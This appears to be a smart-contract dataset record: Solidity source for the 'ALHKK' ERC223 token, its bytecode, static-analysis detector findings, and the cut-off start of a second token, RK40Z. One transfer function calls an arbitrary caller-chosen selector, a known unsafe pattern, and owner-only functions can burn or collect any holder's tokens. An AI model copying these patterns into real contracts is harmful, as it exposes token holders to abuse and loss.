* @title ALHKK
* @author ALOHA Members
* @dev ALHKK is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
/*******************************************************************************/
contract ALHKK is ERC223, Ownable {
using SafeMath for uint256;
/*******************************************************************************/
//
// Definition of CryproCurrency
//
/*******************************************************************************/
string public name = "ALOHA COIN KK Ver.1.2021";
string public symbol = "ALHKK";
uint8 public decimals = 8;
uint256 public initialSupply = 5e5 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
/*******************************************************************************/
//-----------------------------------------------------------------------------
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
constructor() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[_from]
&& block.timestamp > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
emit Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610183578063095ea7b31461020d57806318160ddd1461023157806323b872dd14610258578063313ce56714610282578063378dc3dc146102ad57806340c10f19146102c25780634f25eced146102e657806364ddc605146102fb57806370a08231146103895780637d64bcb4146103aa5780638da5cb5b146103bf57806394594625146103f057806395d89b41146104475780639dc29fac1461045c578063a8f11eb914610150578063a9059cbb14610480578063b414d4b6146104a4578063be45fd62146104c5578063c341b9f61461052e578063cbbe974b14610587578063d39b1d48146105a8578063dd62ed3e146105c0578063dd924594146105e7578063f0dc417114610675578063f2fde38b14610703578063f6368f8a14610724575b6101586107cb565b005b34801561016657600080fd5b5061016f610947565b604080519115158252519081900360200190f35b34801561018f57600080fd5b50610198610950565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d25781810151838201526020016101ba565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b5061016f600160a060020a03600435166024356109e3565b34801561023d57600080fd5b50610246610a4d565b60408051918252519081900360200190f35b34801561026457600080fd5b5061016f600160a060020a0360043581169060243516604435610a53565b34801561028e57600080fd5b50610297610c60565b6040805160ff9092168252519081900360200190f35b3480156102b957600080fd5b50610246610c69565b3480156102ce57600080fd5b5061016f600160a060020a0360043516602435610c6f565b3480156102f257600080fd5b50610246610d73565b34801561030757600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d799650505050505050565b34801561039557600080fd5b50610246600160a060020a0360043516610ee1565b3480156103b657600080fd5b5061016f610efc565b3480156103cb57600080fd5b506103d4610f66565b60408051600160a060020a039092168252519081900360200190f35b3480156103fc57600080fd5b506040805160206004803580820135838102808601850190965280855261016f953695939460249493850192918291850190849080828437509497505093359450610f759350505050565b34801561045357600080fd5b50610198611213565b34801561046857600080fd5b50610158600160a060020a0360043516602435611274565b34801561048c57600080fd5b5061016f600160a060020a036004351660243561135d565b3480156104b057600080fd5b5061016f600160a060020a0360043516611432565b3480156104d157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506114479650505050505050565b34801561053a57600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750949750505050913515159250611512915050565b34801561059357600080fd5b50610246600160a060020a0360043516611620565b3480156105b457600080fd5b50610158600435611632565b3480156105cc57600080fd5b50610246600160a060020a0360043581169060243516611652565b3480156105f357600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061167d9650505050505050565b34801561068157600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061194b9650505050505050565b34801561070f57600080fd5b50610158600160a060020a0360043516611c38565b34801561073057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611cd19650505050505050565b60006007541180156107f95750600754600154600160a060020a031660009081526009602052604090205410155b801561081e5750600160a060020a0333166000908152600b602052604090205460ff16155b80156108415750600160a060020a0333166000908152600c602052604090205442115b151561084c57600080fd5b600034111561089057600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561088e573d6000803e3d6000fd5b505b600754600154600160a060020a03166000908152600960205260409020546108bd9163ffffffff61209c16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108fb9163ffffffff6120ae16565b600160a060020a03338116600081815260096020908152604091829020949094556001546007548251908152915192949316926000805160206124d683398151915292918290030190a3565b60085460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b820191906000526020600020905b8154815290600101906020018083116109bc57829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065490565b6000600160a060020a03831615801590610a6d5750600082115b8015610a915750600160a060020a0384166000908152600960205260409020548211155b8015610ac35750600160a060020a038085166000908152600a6020908152604080832033909416835292905220548211155b8015610ae85750600160a060020a0384166000908152600b602052604090205460ff16155b8015610b0d5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b305750600160a060020a0384166000908152600c602052604090205442115b8015610b535750600160a060020a0383166000908152600c602052604090205442115b1515610b5e57600080fd5b600160a060020a038416600090815260096020526040902054610b87908363ffffffff61209c16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610bbc908363ffffffff6120ae16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610c04908363ffffffff61209c16565b600160a060020a038086166000818152600a60209081526040808320338616845282529182902094909455805186815290519287169391926000805160206124d6833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c8d57600080fd5b60085460ff1615610c9d57600080fd5b60008211610caa57600080fd5b600654610cbd908363ffffffff6120ae16565b600655600160a060020a038316600090815260096020526040902054610ce9908363ffffffff6120ae16565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206124d68339815191529181900360200190a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d9757600080fd5b60008351118015610da9575081518351145b1515610db457600080fd5b5060005b8251811015610edc578181815181101515610dcf57fe5b90602001906020020151600c60008584815181101515610deb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610e1857600080fd5b8181815181101515610e2657fe5b90602001906020020151600c60008584815181101515610e4257fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e7357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610eb557fe5b906020019060200201516040518082815260200191505060405180910390a2600101610db8565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610f1a57600080fd5b60085460ff1615610f2a57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f8a575060008551115b8015610faf5750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fd25750600160a060020a0333166000908152600c602052604090205442115b1515610fdd57600080fd5b610ff1846305f5e10063ffffffff6120bd16565b93506110078551856120bd90919063ffffffff16565b600160a060020a03331660009081526009602052604090205490925082111561102f57600080fd5b5060005b84518110156111c657848181518110151561104a57fe5b90602001906020020151600160a060020a03166000141580156110a25750600b6000868381518110151561107a57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110e95750600c600086838151811015156110bb57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110f457600080fd5b6111398460096000888581518110151561110a57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6120ae16565b60096000878481518110151561114b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061117c57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3600101611033565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff61209c16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b60015433600160a060020a0390811691161461128f57600080fd5b6000811180156112b75750600160a060020a0382166000908152600960205260409020548111155b15156112c257600080fd5b600160a060020a0382166000908152600960205260409020546112eb908263ffffffff61209c16565b600160a060020a038316600090815260096020526040902055600654611317908263ffffffff61209c16565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6000606060008311801561138a5750600160a060020a0333166000908152600b602052604090205460ff16155b80156113af5750600160a060020a0384166000908152600b602052604090205460ff16155b80156113d25750600160a060020a0333166000908152600c602052604090205442115b80156113f55750600160a060020a0384166000908152600c602052604090205442115b151561140057600080fd5b611409846120e8565b15611420576114198484836120f0565b915061142b565b611419848483612358565b5092915050565b600b6020526000908152604090205460ff1681565b600080831180156114715750600160a060020a0333166000908152600b602052604090205460ff16155b80156114965750600160a060020a0384166000908152600b602052604090205460ff16155b80156114b95750600160a060020a0333166000908152600c602052604090205442115b80156114dc5750600160a060020a0384166000908152600c602052604090205442115b15156114e757600080fd5b6114f0846120e8565b15611507576115008484846120f0565b9050610c59565b611500848484612358565b60015460009033600160a060020a0390811691161461153057600080fd5b825160001061153e57600080fd5b5060005b8251811015610edc57828181518110151561155957fe5b60209081029091010151600160a060020a0316151561157757600080fd5b81600b6000858481518110151561158a57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905582518390829081106115ca57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611542565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461164d57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611693575083518551145b80156116b85750600160a060020a0333166000908152600b602052604090205460ff16155b80156116db5750600160a060020a0333166000908152600c602052604090205442115b15156116e657600080fd5b5060009050805b8451811015611848576000848281518110151561170657fe5b9060200190602002015111801561173e5750848181518110151561172657fe5b90602001906020020151600160a060020a0316600014155b801561177f5750600b6000868381518110151561175757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117c65750600c6000868381518110151561179857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117d157600080fd5b6117fd6305f5e10085838151811015156117e757fe5b602090810290910101519063ffffffff6120bd16565b848281518110151561180b57fe5b60209081029091010152835161183e9085908390811061182757fe5b60209081029091010151839063ffffffff6120ae16565b91506001016116ed565b600160a060020a03331660009081526009602052604090205482111561186d57600080fd5b5060005b84518110156111c6576118a7848281518110151561188b57fe5b9060200190602002015160096000888581518110151561110a57fe5b6009600087848151811015156118b957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106118ea57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152868481518110151561192457fe5b906020019060200201516040518082815260200191505060405180910390a3600101611871565b6001546000908190819033600160a060020a0390811691161461196d57600080fd5b6000855111801561197f575083518551145b151561198a57600080fd5b5060009050805b8451811015611c0f57600084828151811015156119aa57fe5b906020019060200201511180156119e2575084818151811015156119ca57fe5b90602001906020020151600160a060020a0316600014155b8015611a235750600b600086838151811015156119fb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015611a6a5750600c60008683815181101515611a3c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a7557600080fd5b611a8b6305f5e10085838151811015156117e757fe5b8482815181101515611a9957fe5b602090810290910101528351849082908110611ab157fe5b90602001906020020151600960008784815181101515611acd57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611afb57600080fd5b611b578482815181101515611b0c57fe5b90602001906020020151600960008885815181101515611b2857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61209c16565b600960008784815181101515611b6957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611b9e9085908390811061182757fe5b915033600160a060020a03168582815181101515611bb857fe5b90602001906020020151600160a060020a03166000805160206124d68339815191528684815181101515611be857fe5b906020019060200201516040518082815260200191505060405180910390a3600101611991565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff6120ae16565b60015433600160a060020a03908116911614611c5357600080fd5b600160a060020a0381161515611c6857600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611cfb5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611d205750600160a060020a0385166000908152600b602052604090205460ff16155b8015611d435750600160a060020a0333166000908152600c602052604090205442115b8015611d665750600160a060020a0385166000908152600c602052604090205442115b1515611d7157600080fd5b611d7a856120e8565b1561208657600160a060020a033316600090815260096020526040902054841115611da457600080fd5b600160a060020a033316600090815260096020526040902054611dcd908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611e02908563ffffffff6120ae16565b6009600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b60208310611e6a5780518252601f199092019160209182019101611e4b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611ecd5780518252601f199092019160209182019101611eae565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611f5f578181015183820152602001611f47565b50505050905090810190601f168015611f8c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611fac57fe5b826040518082805190602001908083835b60208310611fdc5780518252601f199092019160209182019101611fbd565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001612094565b612091858585612358565b90505b949350505050565b6000828211156120a857fe5b50900390565b600082820183811015610c5957fe5b6000808315156120d0576000915061142b565b508282028284828115156120e057fe5b0414610c5957fe5b6000903b1190565b600160a060020a033316600090815260096020526040812054819084111561211757600080fd5b600160a060020a033316600090815260096020526040902054612140908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612175908563ffffffff6120ae16565b600160a060020a0380871660008181526009602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b838110156122155781810151838201526020016121fd565b50505050905090810190601f1680156122425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561226357600080fd5b505af1158015612277573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106122ab5780518252601f19909201916020918201910161228c565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001949350505050565b600160a060020a03331660009081526009602052604081205483111561237d57600080fd5b600160a060020a0333166000908152600960205260409020546123a6908463ffffffff61209c16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546123db908463ffffffff6120ae16565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b602083106124295780518252601f19909201916020918201910161240a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a483600160a060020a031633600160a060020a03166000805160206124d6833981519152856040518082815260200191505060405180910390a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058202cdc1f8bce79919ee4b2a543bfb47a743fd61acf6314835f9b9e7bde6e8a8de70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,327 |
0xb074736e2aa30e9fd416190bd3b08206be1fccc0
|
pragma solidity ^0.4.21;
/// RK35Z token ERC20 with Extensions ERC223
contract RK40Z {
uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
bool public SC_locked = true;
bool public tokenCreated = false;
uint public DateCreateToken;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => bool) public frozenAccount;
mapping(address => bool) public SmartContract_Allowed;
// ERC20 Event
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event FrozenFunds(address target, bool frozen);
event Burn(address indexed from, uint256 value);
// Initialize
// Constructor is called only once and can not be called again (Ethereum Solidity specification)
function RK40Z() public {
// Security check in case EVM has future flaw or exploit to call constructor multiple times
require(tokenCreated == false);
owner = msg.sender;
name = "RK40Z";
symbol = "RK40Z";
decimals = 5;
totalSupply = 500000000 * 10 ** uint256(decimals);
balances[owner] = totalSupply;
emit Transfer(owner, owner, totalSupply);
tokenCreated = true;
// Final sanity check to ensure owner balance is greater than zero
require(balances[owner] > 0);
// Date Deploy Contract
DateCreateToken = now;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Function to create date token.
function DateCreateToken() public view returns (uint256 _DateCreateToken) {
return DateCreateToken;
}
// Function to access name of token .
function name() view public returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
// Get balance of the address provided
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
// Get Smart Contract of the address approved
function SmartContract_Allowed(address _target) constant public returns (bool _sc_address_allowed) {
return SmartContract_Allowed[_target];
}
function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (x > MAX_UINT256 - y) revert();
return x + y;
}
function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (x < y) revert();
return x - y;
}
function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) revert();
return x * y;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
// Only allow transfer once Locked
// Once it is Locked, it is Locked forever and no one can lock again
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint256 _value) public returns (bool success) {
// Only allow transfer once Locked
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
